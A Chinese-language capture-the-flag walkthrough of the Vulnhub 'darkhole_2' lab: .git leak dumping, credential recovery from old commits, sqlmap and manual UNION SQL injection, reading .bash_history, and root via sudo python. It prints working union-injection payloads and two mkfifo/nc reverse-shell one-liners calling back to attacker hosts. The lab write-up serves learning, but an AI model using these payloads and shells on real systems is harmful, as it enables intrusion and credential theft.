Vulnhub打靶记录:darkhole_2
相关信息
kali:10.0.0.9/24
靶机:10.0.0.10/24
靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip
目标:root
权限 + 两个 flag
难度:高
未提及的相关知识点,命令和代码等等可以查看我其他三个blog:
-
渗透相关知识补充 - CC-HL - 博客园 (cnblogs.com)
当然我也只是记录了我认为有必要的。
文字思路
全流程思路
- 主机发现 端口扫描
- git库泄露:重点熟悉各种工具的使用,确定各种工具的优劣
- 源码分析:主要通过各个版本的评论,掌握相关的
git
命令 - 本地端口转发 本地信息搜集
- 密码爆破:非常非常重要
- 水平提权1,2 ROOT提权1,2
下意识的操作
- 密码爆破,任何可以爆破的都要尝试
- 任何可以控制变量的地方都要进行相关的注入测试
.bash_history
的查看
主要的知识点
- 手工
sql
注入 .git
库的泄露和获取方式
具体流程
信息搜集
-
发现主机,端口扫描,服务确认。通过
nmap
的脚本扫描直接发现80:web
是有个.git
文件的泄露,而且该.git
是有开发人员的相关评论:将网站更新的更加安全了。当然也开启了22:ssh
服务。 -
打开
80
端口的网站,查看页面源码,有相关的登陆页面都是没有什么收获的,即使进行了简单的sql
注入测试。 -
进而转到
./git
的访问,但是通过浏览器访问是无法查看源码的必须将.git
克隆到本地上进行查看。键入:wget -r http://10.0.0.10/.git
就可以递归的下载web
网页上泄露的.git
文件。 .git的文件夹结构 -
进入到
wget
到的文件夹查看./git
的相关信息:-
git log
:查看相关的日志记录中的注释和评论。其中第二个评论尤为关键:我在login.php中添加了一个默认的登陆用户,而目标有存在.git
泄露,那么进行过往版本的获取,然后进行白盒审计获取默认的账户和密码就成了下一步的思路。 -
git clone . backup
:但当尝试使用给命令进行克隆的时候是发现有问题的,提示确实相关的分支。表明使用wget
方法获得.git
是有问题的。
-
-
使用
githack
工具重新获得.git
文件,进入后进行相关的文件审计。githack工具的使用-
cat login.php
:mysqli_real_escape_string
:该函数也解释了为什么尝试对登陆框进行sql
注入是无法成功的原因,特使的字符都被该函数进行了过滤😭。 -
cat config.php
:获得靶机上的一个数据库配置文件,root : darkhole_2
➡️ 密码复用但是当尝试查看往届版本使用
git log
时发现查看的log
是githack
的日志,而非.git
的日志,而且提示我们表明
githack
并不是将原原本本的.git
文件克隆下来,所以使用另一个工具。
-
-
使用
gitdumper
后,再次进入获取的.git
文件,使用git
命令获取以前版本的源码。gitdumper使用-
进入目录后直接使用
git checkout a4d900a8d85e8938d3601f3cef113ee293028e10
:后面的一串就是原来版本的commit
。 -
cat login.php
:查看上一个有默认的账户和密码的登陆代码获取:lush@admin.com : 321
➡️ 密码的复用
-
进入后台
-
通过获取的账号进入后台,但由于源码是请求了
google
导致我们访问的速度非常的慢。常规的进行源码查看,通过burpsuite
获取数据包,直接进行sqlmap
检测。
sql注入
sqlmap自动化方式
-
sqlmap -r sql.txt
直接使用数据包来指定对象,发现url
中的id
就是注入点。 -
sqlmap -r sql.txt -p id --dbs
获取库名 -
sqlmap -r sql.txt -p id --D darkhole_2 --tables
:获取表名 -
sqlmap -r sql.txt -p id -D darkhole_2 -T ssh users --dump
:获ssh的登陆密码为:jehad : fool
手工注入
由于网页请求的
burpsuite
中的Match and replace rules
功能给替换掉,从而让手动的sql
注入更加快,更加的便捷。同时注意一下两点:1,url
中的+
是空格 2,--
注释后面必须有空格才能生效
-
确认注入点,
id=1
后键入'
后无法正常访问,一片空白,当id=2
其他数值的时一样的结果。表明以下两点:- 是存在
sql
注入的。 - 后台中的数据只有
id=1
,其他 2,3,4等数据是不存在的。
- 是存在
-
当进行永真永假的测试时是有不同的,当永真时是有数据回显的,而永假时是没有数据回显的。可以断定
id
值就是char
型,而非int
型的数据。 -
通过
order by
来确定列数为6
-
同
union
来确定显示的内容分别是第几列的数据。 -
通过
database()
函数确定库名 -
确定库中的表名为
ssh
id=2%27+union+select+1,table_name,3,4,5,6+from+information_schema.tables+where+table_schema=%27darkhole_2%27;--+
-
获取
ssh
表中存在的字段:id,pass,user
id=2%27+union+select+1,GROUP_CONCAT(column_name),3,4,5,6+from+information_schema.columns+where+table_name=%27ssh%27;--+ # 其中需要说明的就是 GROUP_CONCAT函数。如果不使用该函数,查询只会返还一个列名:id,因为该web只取返回结果的第一行来显示,但是当使用该函数后会把查询的结果合并起来视为一个结果进行返回,从而达到全部列都显示的结果。 # 之所以让id=2是为了让正常的查询没有信息返回,从而让web在获取数据时会使用恶意获取的数据。进而将其回显。
-
接下来就是获取相关的数据库内容了。获得
ssh
的用户名和密码:jehad : fool
。
登陆ssh/信息搜集
-
将
sqlmap
获取的账户密码尝试进行ssh
登陆,并进行相关的信息搜集。发现三个普通用户是用bash
的:jehad, lama, losy
。查看内核版本和系统的发现版本,发现2021-2493
的那个漏洞是无法是使用的。 -
进一步进行信息收集,发现在
jehad
的主目录下是有个.bash_history
文件,这个非常非常重要。-
.bash_history
该文件就是用来记录shell
输入了哪些命令的。 -
这个命令记录提示我们在目标网站的
999
或者9999
端口上存在一个网页,而该网页是有cmd
这个可以执行系统命令的参数的,但是否只对localhost
开放就需要进一步测试了。而且当进一步进行审计的时候发现这个靶机好像已经被他人渗透过了,甚至能够找到反弹
shell
的使用记录。rm%20/tmp/f;mkfifo%20/tmp/f;cat%20/tmp/f|/bin/sh%20-i%202>&1|nc%20192.168.135.128%204242%20>/tmp/f
-
验证是否真的存在这个
9999
端口,结果不需要多说。尤其注意losy
这条记录,表明该服务的开启过程:先使用bash
进入到opt/web
目录,然后利用php
启用了一个端口。 -
查看上述目录发现里面竟然有个
web-shell
的后门代码,而且它的属主是losy
。所以可以是反弹shell
后的身份就是losy
了。
-
提权
-
结合上面的信息发现和
nc
反弹的方法,尝试反弹shell
发现成功。最好在/tmp
目录下执行命令(记得进行url编码,同时在 .bash_history中发现反弹 shell的命令是有问题的,使用一下反弹shell最好)rm /tmp/f; mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.0.0.9 4444 >/tmp/f
-
成功拿到
shell
后进行相关的信息搜集-
发现具有
sudo -l
查看相关的权限,但是会报错。如果该错误是发现在该用户有sudo
而且是知道password
情况下是可以解决的,具体方法为以下网站。但是了我们不知道密码,所以没有办法了。但是通过下面一步获取的password
后可以通过ssh
登陆后擦看。这种报错一般是由于该
shell
不具备交互功能,先使用python
升级一下shell
也是可以的。 -
同样在
losy
的主目录下发现.bash_history
文件和第一个flag
文件。审计后貌似losy
的密码就是gang
,与此同时还能sudo
使用python
-
-
所以直接
sudo pythoh
一个子bash
就可以完成提权,查看flag
了。
相关工具/命令
命令
ssh
-
what?
linux
中用来进行ssh
连接的命令 -
具体使用
-
通过
ssh
实现和连接主机的端口转发:-
本地端口转发(Local Port Forwarding): 在本地端口转发中,远程服务器上的端口被转发到本地机器上。这样,您可以通过连接本地机器上的某个端口来访问远程服务器上的服务
ssh -L <本地端口>:<目标服务器IP>:<目标端口> <用户名>@<远程服务器IP> ssh -L 8888:localhost:80 username@remote_server_ip
-
远程端口转发(Remote Port Forwarding): 在远程端口转发中,本地机器上的端口被转发到远程服务器上。这样,您可以通过连接远程服务器上的某个端口来访问本地机器上的服务。
ssh -R <远程端口>:<本地机器IP>:<本地端口> <用户名>@<远程服务器IP> ssh -R 8888:localhost:80 username@remote_server_ip
-
-
git
-
what?
一个流行的版本控制系统,提供了许多命令行工具来管理代码仓库。
-
具体实例
-
git log
:进入某个repository
后键入,就可以可视化的查看该repository's log
了 -
进行版本切换的方法:
-
使用
git log
命令查看提交历史记录。这将显示所有提交的日志信息,包括每个提交的哈希值(commit hash)、作者、日期和提交消息。 -
找到你要回溯到的特定版本的哈希值(commit hash)或标签(tag)。
-
使用
git checkout
命令进行版本切换。有两种常见的方式:a. 如果你要回溯到特定的提交(通过哈希值或短哈希值),可以使用以下命令:
git checkout <commit_hash>
这将将你的工作区切换到指定的提交,并将HEAD指针移动到该提交。
b. 如果你要回溯到特定的标签,可以使用以下命令:
git checkout <tag_name>
这将将你的工作区切换到带有指定标签的提交,并将HEAD指针移动到该提交。
注意:切换到特定版本会使你进入"分离头指针"状态,这意味着你处于一个游离于分支的状态。如果你想在特定版本上进行修改并将其保留,你可以创建一个新的分支:
git checkout -b <new_branch_name>
-
-
工具
wget
通过 wget -r http://10.90.0.0/.git
命令是可以递归的获取泄露的 .git
文件夹,但是这是存在部分问题,导致不能完全使用 git
的功能。不建议
githack.git
-
what? 返回
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
同样这个工具只能获得最新的
.git
,无法实施git
命令。 -
如何使用
git clone https://gitee.com/rsyncf/git-hack2.git
:将工具克隆下来python3 GitHack.py http://10.0.0.10/.git/
:进入repository
中找到脚本,按照上述命令自接执行。
git_dumper.git
-
what? 返回
A tool to dump a git repository from a website。这个工具
dump
的git
是完整的,可以使用全部git
相关命令的。 -
如何使用
git clone https://gitee.com/cc-hl/git-dumper.git
:克隆下工具python3 git_dumper.py http://10.0.0.10/.git /root/25
:使用工具将泄露的.git
获取到指定的/root/25
下面,但是要注意一下两个点,工具都会提醒使用者的,注意就好:pip3 install dulwich
:安装该模块/root/25
:必须指定存放路径
复盘/相关知识
复盘
另一种功能提权方式:爆破
-
对发现的
lama
进行ssh
爆破,发现该用户的密码更加的简单为123
-
su lama
成该用户后,发现该用户的权限更加的夸张,更加的简单😂,很离谱。
ssh的端口转发
重要
.bash_history
用来记录在 bash
是输入过的命令。
url的+号
在url
中是没有空格的,其中 +
是表示空格的
.git的文件夹结构
branches/
: 存储分支(branch)的相关信息。每个分支都被保存在一个以分支名称命名的文件中。hooks/
: 包含Git钩子(hooks)的脚本文件。Git钩子允许在特定事件发生时触发自定义脚本。info/
: 存储一些额外的关于仓库的信息,如exclude
文件用于指定不希望被Git跟踪的文件模式。objects/
: 存储Git对象(objects),包括提交(commits)、树(trees)和文件内容(blobs)。这个目录是Git的核心数据库,使用SHA-1哈希值来命名每个对象的文件名。refs/
: 存储引用(refs),包括分支、标签和远程引用。每个引用都以文件的形式存在于该目录下。refs/heads/
: 存储本地分支的引用。refs/tags/
: 存储标签的引用。refs/remotes/
: 存储远程分支的引用。
logs/
: 包含引用更新的日志信息,包括分支引用的历史记录。config
: 存储仓库的配置信息,如用户名、邮箱、远程仓库等。HEAD
: 指向当前所在分支的引用。它通常包含指向refs/heads/
下某个分支的指针。index
: 包含了暂存区(stage)的索引信息,记录了下一次提交将包含的文件和目录。是一个存二进制文件COMMIT_EDITMSG
: 在进行提交时用于编辑提交信息的临时文件。